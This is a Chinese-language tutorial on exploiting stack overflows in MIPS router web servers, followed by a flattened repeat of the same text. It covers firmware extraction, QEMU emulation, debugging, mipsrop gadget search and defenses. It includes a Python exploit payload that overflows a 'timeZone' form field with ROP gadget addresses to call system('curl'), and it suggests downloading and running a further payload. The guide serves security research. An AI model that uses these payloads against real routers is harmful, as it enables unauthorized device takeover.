基于实战的MIPS路由器栈溢出利用:寄存器、指令与攻击思路的探究
字数 1680 2025-08-04 22:51:28

MIPS路由器栈溢出利用实战指南

1. MIPS架构基础

1.1 MIPS指令集概述

MIPS(Microprocessor without Interlocked Pipeline Stages)是一种采用精简指令集(RISC)的指令集架构(ISA),由斯坦福大学的John Hennessy在1980年代初期设计。特点包括:

  • 最初为32位架构,现已发展至64位
  • 广泛应用于嵌入式系统、路由器、微控制器等设备
  • 设计目标是通过简单指令集实现高性能处理器

1.2 MIPS寄存器与指令

MIPS架构包含32个通用寄存器,常见寄存器包括:

  • $a0-$a3:函数参数传递
  • $v0-$v1:函数返回值
  • $ra:返回地址(类似x86的EIP/RIP)
  • $sp:栈指针
  • $fp:帧指针

重要指令:

  • li:立即数加载
  • lw/sw:内存加载/存储
  • jr:跳转寄存器
  • addiu:无符号立即数加法

2. 栈溢出原理

2.1 栈溢出基本概念

栈溢出发生在程序向栈内存写入超过分配空间的数据时,导致:

  • 覆盖相邻内存区域
  • 可能覆盖返回地址等重要数据
  • 最终可导致程序崩溃或执行任意代码

2.2 路由器常见危险函数

  1. strcpy:不检查目标缓冲区大小,易导致缓冲区溢出
  2. system:可能造成命令注入攻击,特别是以高权限运行时
  3. scanf:使用%s格式时可能造成缓冲区溢出

3. 漏洞研究环境搭建

3.1 固件提取

使用binwalk工具提取路由器固件:

binwalk -eM 固件名称.bin --run-as=root

参数说明:

  • -eM:分析并提取发现的文件
  • --run-as=root:以root权限运行

3.2 QEMU仿真环境

安装QEMU:

sudo apt install qemu-user-static

启动MIPS仿真:

qemu-mipsel-static -L . ./bin/httpd

参数说明:

  • -L .:指定库文件路径
  • -g 2000:开启调试端口(用于IDA远程调试)

4. 静态分析技术

4.1 使用Ghidra分析

  1. 导入目标程序(如httpd)
  2. 搜索危险函数(strcpy/system等)
  3. 分析调用路径和参数传递

4.2 关键漏洞点定位

示例漏洞模式:

void vulnerable_function(char *input) {
    char buffer[64];
    strcpy(buffer, input);  // 无长度检查的拷贝
}

5. 动态调试技术

5.1 IDA Pro远程调试

  1. 启动QEMU调试服务:
    qemu-mipsel-static -L . -g 2000 ./bin/httpd
    
  2. IDA连接远程调试会话
  3. 设置断点并观察寄存器变化

5.2 确定溢出偏移

  1. 发送模式字符串(如AAAABBBB...)
  2. 观察崩溃时寄存器值
  3. 计算精确偏移量(示例中为64字节)

6. ROP链构造

6.1 MIPS ROP特点

  • 利用现有代码片段(gadget)
  • 需要控制$ra寄存器(返回地址)
  • 参数通过$a0-$a3传递

6.2 使用mipsrop插件

  1. 安装IDA的mipsrop插件
  2. 搜索可用gadget:
    mipsrop.stackfinder()
    
  3. 选择合适gadget构建ROP链

6.3 典型ROP链结构

[垃圾字符填充偏移] + [stackfinder地址] + [填充到参数] + [命令字符串] + [填充到返回地址] + [system地址]

示例Payload:

import requests

url = "http://目标IP/goform/漏洞路径"
stackfinder = 0X004DB814.to_bytes(4, byteorder='little')
system = 0x004DD820.to_bytes(4, byteorder='little')
data = {
    "timeZone": b'A'*64 + stackfinder + b'C'*20 + b'curl\x00' + b'B'*80 + system
}
requests.post(url, data=data)

7. 防护措施

7.1 开发层面

  • 使用安全语言(如Rust)或安全函数(strncpy替代strcpy)
  • 对所有输入进行严格验证和过滤
  • 启用编译器保护选项(如-fstack-protector

7.2 系统层面

  • 启用ASLR(地址空间布局随机化)
  • 最小化服务权限
  • 定期更新固件

8. 工具列表

  1. 固件分析
    • binwalk:https://github.com/ReFirmLabs/binwalk
  2. 逆向工程
    • Ghidra:https://ghidra-sre.org/
    • IDA Pro:https://hex-rays.com/ida-pro/
  3. 调试工具
    • QEMU:内置MIPS仿真
    • gdb-multiarch:跨架构调试

9. 实战技巧

  1. 绕过环境检测

    • 使用IDA Patch功能修改检测逻辑(如NOP掉循环)
    • 示例:将跳转指令改为NOP(0x00000000)
  2. 多阶段利用

    • 先获取简单代码执行(如curl)
    • 再下载并执行完整payload
  3. 稳定性考虑

    • 添加sleep调用清空寄存器状态
    • 使用可靠的gadget地址

本指南涵盖了从基础理论到实际漏洞利用的完整流程,重点介绍了MIPS架构下的栈溢出利用技术。实际应用中需注意法律和道德规范,仅用于授权测试场景。

MIPS路由器栈溢出利用实战指南 1. MIPS架构基础 1.1 MIPS指令集概述 MIPS(Microprocessor without Interlocked Pipeline Stages)是一种采用精简指令集(RISC)的指令集架构(ISA),由斯坦福大学的John Hennessy在1980年代初期设计。特点包括: 最初为32位架构,现已发展至64位 广泛应用于嵌入式系统、路由器、微控制器等设备 设计目标是通过简单指令集实现高性能处理器 1.2 MIPS寄存器与指令 MIPS架构包含32个通用寄存器,常见寄存器包括: $a0-$a3 :函数参数传递 $v0-$v1 :函数返回值 $ra :返回地址(类似x86的EIP/RIP) $sp :栈指针 $fp :帧指针 重要指令: li :立即数加载 lw / sw :内存加载/存储 jr :跳转寄存器 addiu :无符号立即数加法 2. 栈溢出原理 2.1 栈溢出基本概念 栈溢出发生在程序向栈内存写入超过分配空间的数据时,导致: 覆盖相邻内存区域 可能覆盖返回地址等重要数据 最终可导致程序崩溃或执行任意代码 2.2 路由器常见危险函数 strcpy :不检查目标缓冲区大小,易导致缓冲区溢出 system :可能造成命令注入攻击,特别是以高权限运行时 scanf :使用 %s 格式时可能造成缓冲区溢出 3. 漏洞研究环境搭建 3.1 固件提取 使用binwalk工具提取路由器固件: 参数说明: -eM :分析并提取发现的文件 --run-as=root :以root权限运行 3.2 QEMU仿真环境 安装QEMU: 启动MIPS仿真: 参数说明: -L . :指定库文件路径 -g 2000 :开启调试端口(用于IDA远程调试) 4. 静态分析技术 4.1 使用Ghidra分析 导入目标程序(如httpd) 搜索危险函数(strcpy/system等) 分析调用路径和参数传递 4.2 关键漏洞点定位 示例漏洞模式: 5. 动态调试技术 5.1 IDA Pro远程调试 启动QEMU调试服务: IDA连接远程调试会话 设置断点并观察寄存器变化 5.2 确定溢出偏移 发送模式字符串(如AAAABBBB...) 观察崩溃时寄存器值 计算精确偏移量(示例中为64字节) 6. ROP链构造 6.1 MIPS ROP特点 利用现有代码片段(gadget) 需要控制 $ra 寄存器(返回地址) 参数通过 $a0-$a3 传递 6.2 使用mipsrop插件 安装IDA的mipsrop插件 搜索可用gadget: 选择合适gadget构建ROP链 6.3 典型ROP链结构 示例Payload: 7. 防护措施 7.1 开发层面 使用安全语言(如Rust)或安全函数(strncpy替代strcpy) 对所有输入进行严格验证和过滤 启用编译器保护选项(如 -fstack-protector ) 7.2 系统层面 启用ASLR(地址空间布局随机化) 最小化服务权限 定期更新固件 8. 工具列表 固件分析 : binwalk:https://github.com/ReFirmLabs/binwalk 逆向工程 : Ghidra:https://ghidra-sre.org/ IDA Pro:https://hex-rays.com/ida-pro/ 调试工具 : QEMU:内置MIPS仿真 gdb-multiarch:跨架构调试 9. 实战技巧 绕过环境检测 : 使用IDA Patch功能修改检测逻辑(如NOP掉循环) 示例:将跳转指令改为NOP(0x00000000) 多阶段利用 : 先获取简单代码执行(如curl) 再下载并执行完整payload 稳定性考虑 : 添加sleep调用清空寄存器状态 使用可靠的gadget地址 本指南涵盖了从基础理论到实际漏洞利用的完整流程,重点介绍了MIPS架构下的栈溢出利用技术。实际应用中需注意法律和道德规范,仅用于授权测试场景。